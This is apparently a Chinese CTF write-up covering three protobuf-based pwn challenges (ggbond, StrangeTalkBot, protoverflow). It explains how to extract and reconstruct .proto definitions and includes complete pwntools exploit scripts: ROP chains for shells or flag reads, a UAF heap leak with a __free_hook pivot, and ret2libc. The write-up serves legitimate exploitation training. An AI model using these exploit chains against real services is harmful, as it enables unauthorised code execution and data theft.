protobuf pwn题专项
protobuf pwn
准备工作
安装protobuf编译器
sudo apt-get install libprotobuf-dev protobuf-compiler
安装python依赖库
pip3 install grpcio
pip3 install grpcio-tools googleapis-common-protos
安装pbtk
git clone https://github.com/marin-m/pbtk
ggbond
来自DubheCTF2024的一道GO protobuf题
提取proto文件
如果pbtk的图形化界面打不开,也可以用命令行,切换到pbtk的extractors目录下,输入下面命令进行提取
./from_binary.py input_file [output_dir]
得到ggbond.proto
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
string message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
string message = 2001;
}
message RepeaterRequest {
string message = 1002;
}
message RepeaterResponse {
string message = 2002;
}
message ErrorResponse {
string message = 4444;
}
切到.proto文件的目录,输入下面命令
python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto
编译得到py文件
分析程序逻辑
IDA定位到程序main_main入口
grpc创建服务这里能看到ptr_main_server,跟进可以发现main__ptr_server_Handler,结合proto文件可知这个是rpc业务逻辑处理函数,也就是我们主要分析的代码
根据逆向可以得到程序的大致逻辑:
程序有三种消息格式:
- Whoami:打印当前的规则
- RoleChange:更改当前的规则(一共有四种规则,0到3)
- Repeater:发送信息 ,但仅在规则3下服务器才处理收到的信息
导入依赖文件,写出交互函数
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"
def who():
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
response = stub.Handler(request)
print("Response from Handler:", response)
def Role(ty):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
response = stub.Handler(request)
print("Response from Handler:", response)
def Rep(data):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
stub.Handler(request)
接下来我们看规则3下服务器是如何处理发送的信息的
将发送的信息base64解码之后有个栈上的copy,很明显这里有溢出,v47指向栈上的变量v73,得到溢出偏移为0xC8
接下来就是常规go题的ret2syscall了
exp脚本
提供了shell和ORW两种打法
from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"
def who():
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
response = stub.Handler(request)
print("Response from Handler:", response)
def Role(ty):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
response = stub.Handler(request)
print("Response from Handler:", response)
def Rep(data):
channel = grpc.insecure_channel(channel_port)
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
stub.Handler(request)
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./ggbond"
p = process(file)
elf = ELF(file)
#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")
Role(3)
rax = 0x00000000004101e6
rdi = 0x0000000000401537
rsi = 0x0000000000422398
rdx = 0x0000000000461bd1
syscall = 0x000000000040452c
# ROPgadget --string "flag\x00" --binary ggbond
flag = 0x00000000007f95ba
buf = elf.bss(0x800)
# system
rop = b'a'*0x68 + b'\x00'*0x60
rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
# ORW
""" rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """
p.send('/bin/sh\x00')
try:
Rep(base64.b64encode(rop))
except:
p.interactive()
StrangeTalkBot
一道CISCN2023初赛的C protobuf堆题,我觉得难点更多是在逆向部分(还原proto内容)
还原proto文件
查看主函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // [rsp+0h] [rbp-10h]
char *v4; // [rsp+8h] [rbp-8h]
sub_1763();
while ( 1 )
{
memset(byte_A060, 0, sizeof(byte_A060));
puts("You can try to have friendly communication with me now: ");
v3 = read(0, byte_A060, 0x400uLL);
v4 = sub_192D(0LL, v3, byte_A060);
if ( !v4 )
break;
sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
}
sub_1329();
}
循环read读到byte_A060,然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数,返回对应的C结构体
为了理解protobuf在c是如何工作的,我下载了protobuf-c编译器以及protobuf-c的git项目(这里是为了获得一些关键的头文件定义
sudo apt install protobuf-c-compiler
git clone https://github.com/protobuf-c/protobuf-c.git
接着我定义了一个测试proto文件并编译得到.h和.c文件
syntax = "proto2";
message testMessage {
required string name = 1;
required sint64 id = 2;
required bytes buffer = 3;
required uint32 size = 4;
}
test.pb-c.h
/* Generated by the protocol buffer compiler. DO NOT EDIT! */
/* Generated from: test.proto */
#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED
#include <protobuf-c/protobuf-c.h>
PROTOBUF_C__BEGIN_DECLS
#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endif
typedef struct _TestMessage TestMessage;
/* --- enums --- */
/* --- messages --- */
struct _TestMessage
{
ProtobufCMessage base;
char *name;
int64_t id;
ProtobufCBinaryData buffer;
uint32_t size;
};
#define TEST_MESSAGE__INIT \
{ PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
, NULL, 0, {0,NULL}, 0 }
/* TestMessage methods */
void test_message__init
(TestMessage *message);
size_t test_message__get_packed_size
(const TestMessage *message);
size_t test_message__pack
(const TestMessage *message,
uint8_t *out);
size_t test_message__pack_to_buffer
(const TestMessage *message,
ProtobufCBuffer *buffer);
TestMessage *
test_message__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data);
void test_message__free_unpacked
(TestMessage *message,
ProtobufCAllocator *allocator);
/* --- per-message closures --- */
typedef void (*TestMessage_Closure)
(const TestMessage *message,
void *closure_data);
/* --- services --- */
/* --- descriptors --- */
extern const ProtobufCMessageDescriptor test_message__descriptor;
PROTOBUF_C__END_DECLS
#endif /* PROTOBUF_C_test_2eproto__INCLUDED */
test.pb-c.c
/* Generated by the protocol buffer compiler. DO NOT EDIT! */
/* Generated from: test.proto */
/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif
#include "test.pb-c.h"
void test_message__init
(TestMessage *message)
{
static const TestMessage init_value = TEST_MESSAGE__INIT;
*message = init_value;
}
size_t test_message__get_packed_size
(const TestMessage *message)
{
assert(message->base.descriptor == &test_message__descriptor);
return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test_message__pack
(const TestMessage *message,
uint8_t *out)
{
assert(message->base.descriptor == &test_message__descriptor);
return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test_message__pack_to_buffer
(const TestMessage *message,
ProtobufCBuffer *buffer)
{
assert(message->base.descriptor == &test_message__descriptor);
return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
TestMessage *
test_message__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (TestMessage *)
protobuf_c_message_unpack (&test_message__descriptor,
allocator, len, data);
}
void test_message__free_unpacked
(TestMessage *message,
ProtobufCAllocator *allocator)
{
if(!message)
return;
assert(message->base.descriptor == &test_message__descriptor);
protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
{
{
"name",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_STRING,
0, /* quantifier_offset */
offsetof(TestMessage, name),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"id",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(TestMessage, id),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"buffer",
3,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_BYTES,
0, /* quantifier_offset */
offsetof(TestMessage, buffer),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"size",
4,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_UINT32,
0, /* quantifier_offset */
offsetof(TestMessage, size),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};
static const unsigned test_message__field_indices_by_name[] = {
2, /* field[2] = buffer */
1, /* field[1] = id */
0, /* field[0] = name */
3, /* field[3] = size */
};
static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
{
{ 1, 0 },
{ 0, 4 }
};
const ProtobufCMessageDescriptor test_message__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"testMessage",
"TestMessage",
"TestMessage",
"",
sizeof(TestMessage),
4,
test_message__field_descriptors,
test_message__field_indices_by_name,
1, test_message__number_ranges,
(ProtobufCMessageInit) test_message__init,
NULL,NULL,NULL /* reserved[123] */
};
生成的代码有点冗长,对逆向有帮助的主要在test.pb-c.c文件里面,声明了很多静态全局变量,例如描述消息字段的test_message__field_indices_by_name
数组以及描述消息的全局变量test_message__descriptor
,其中描述消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC
= 0x28AAEEF9,用IDA全局搜索该常量
很明显在我们要找的是在数据段的结果,而在该常量上面就是我们需要的消息字段描述结构体数组
现在我们知道描述消息中单个字段的结构体叫ProtobufCFieldDescriptor
,从这个结构体中我们能提取到ProtobufCLabel
和ProtobufCType
这两个重要的枚举类型,下面的代码同时也给出了ProtobufCFieldDescriptor
的结构体定义,我们将这三个结构体导入到IDA中
enum ProtobufCLabel
{
PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.
PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not
///< more than one).
PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a
///< well-formed message. The order of the repeated values will be
///< preserved.
PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is
///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};
enum ProtobufCType
{
PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32
PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32
PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)
PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64
PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64
PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)
PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32
PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)
PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64
PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)
PROTOBUF_C_TYPE_FLOAT = 0xA, ///< float
PROTOBUF_C_TYPE_DOUBLE = 0xB, ///< double
PROTOBUF_C_TYPE_BOOL = 0xC, ///< boolean
PROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated type
PROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII string
PROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequence
PROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
};
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;
/** Tag value of the field as given in the .proto file. */
uint32_t id;
/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;
/** The type of the field. */
ProtobufCType type;
/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;
/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;
const void *descriptor; /* for MESSAGE and ENUM types */
/** The default value for this field, if defined. May be NULL. */
const void *default_value;
uint32_t flags;
/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
然后还原消息字段描述结构体数组
由此可以还原出程序的proto文件如下
syntax = "proto2";
message Devicemsg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}
最后用protoc编译该proto文件为py代码
可知sub_192D处理后返回的C语言结构体布局如下
struct _Devicemsg
{
ProtobufCMessage base; //这个在IDA导入时可以用 unint64_t base[3]; 代替
int64_t actionid;
int64_t msgidx;
int64_t msgsize;
ProtobufCBinaryData msgcontent;
};
struct ProtobufCBinaryData {
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};
将该结构体导入IDA,设置main函数v4的类型为Devicemsg*
分析程序逻辑
看NSS讨论区说是2.31-0ubuntu9.9_amd64,glibc all in one没能找到这个版本,所以用的是2.31-0ubuntu9.15_amd64,虽然版本存在小差异,但思路是差不多的
常规的堆题菜单且delete存在UAF
存在这些限制:
- 只能创建 0x21 个堆
- 堆的大小和msgcontent长度不能超过 0xf1
- 程序开启了沙盒禁用了execve调用
因为禁用了execve,所以不能打ogg或者system
利用思路也很清晰:
- 填满tcache然后再free一个堆到unsorted bin,通过UAF leak出libc
- 写free_hook利用magic_gadget进行栈迁移
- 打ORW ROP
exp脚本
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./service"
libc = "./libc.so.6"
#cmd = ""
#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("node4.anna.nssctf.cn", 28245)
import message_pb2
def add(i,s,c):
msg = message_pb2.Devicemsg()
msg.actionid = 1
msg.msgidx = i
msg.msgsize = s
msg.msgcontent = c
sa(': \n',msg.SerializeToString())
def free(i):
msg = message_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sa(': \n',msg.SerializeToString())
def show(i):
msg = message_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sa(': \n',msg.SerializeToString())
def edit(i,c):
msg = message_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = c
sa(': \n',msg.SerializeToString())
for i in range(8):
add(i,0xf0,b'')
for i in range(8):
free(i)
show(7)
rc(0x50)
libc_base = uu64()-0x1ecbe0
lg("libc_base", libc_base)
show(0)
rc(8)
heap_base = uu64() - 0x10
lg('heap_base',heap_base)
pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_r12_ret = libc_base+0x0000000000119431
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9
payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
libc_base+0x0000000000025b9b,
0,
heap_base+0xad0,
pop_rdi_ret,
heap_base+0xad0,
pop_rsi_ret,
0,
pop_rdx_r12_ret,
0,
0,
pop_rax_ret,
2,
syscall_ret, # open
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base+0xad0,
pop_rdx_r12_ret,
0x30,
0,
pop_rax_ret,
0,
syscall_ret, # read
pop_rdi_ret,
1,
pop_rax_ret,
1,
syscall_ret, # write
])
edit(6, payload)
debug("b *$rebase(0x1561)")
payload = flat({
0x00: 0x67616c662f2e, # ./flag
0x28: libc_base+0x00000000000578c8,
0x48: heap_base+0xfa0
}).ljust(0x50, b'\x00')
add(8, 0xf0, payload)
magic_gadget = libc_base+0x15500A
"""
mov rbp, [rdi+48h]
mov rax, [rbp+18h]
lea r13, [rbp+10h]
mov dword ptr [rbp+10h], 0
mov rdi, r13
call qword ptr [rax+28h]
"""
add(9,0xf0,p64(magic_gadget))
free(8)
inter()
protoverflow
CISCN2024 华中半决赛的题,C++ protobuf题,题目不难溢出点很明显,可惜当时因为python环境有问题导致没能写出来(哭哭
提取protobuf文件
和GO语言那道一样直接脚本提取得到proto文件
syntax = "proto2";
message protoMessage {
optional string name = 1;
optional string phoneNumber = 2;
required bytes buffer = 3;
required uint32 size = 4;
}
分析程序逻辑
主函数很简单,先泄露libc然后读取用户输入,再解析protobuf流
之后的处理函数中memcpy存在很明显的栈溢出,直接打ret2libc即可
exp脚本
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
import message_pb2
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = './pwn'
p = process([file], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(file)
libc = ELF(p.libc.path)
# debug('b *$rebase(0x332f)')
ru(b'0x')
libc_base = int(rc(12), 16) - libc.sym['puts']
lg('libc_base', libc_base)
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()
pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
sd(serialized_msg)
inter()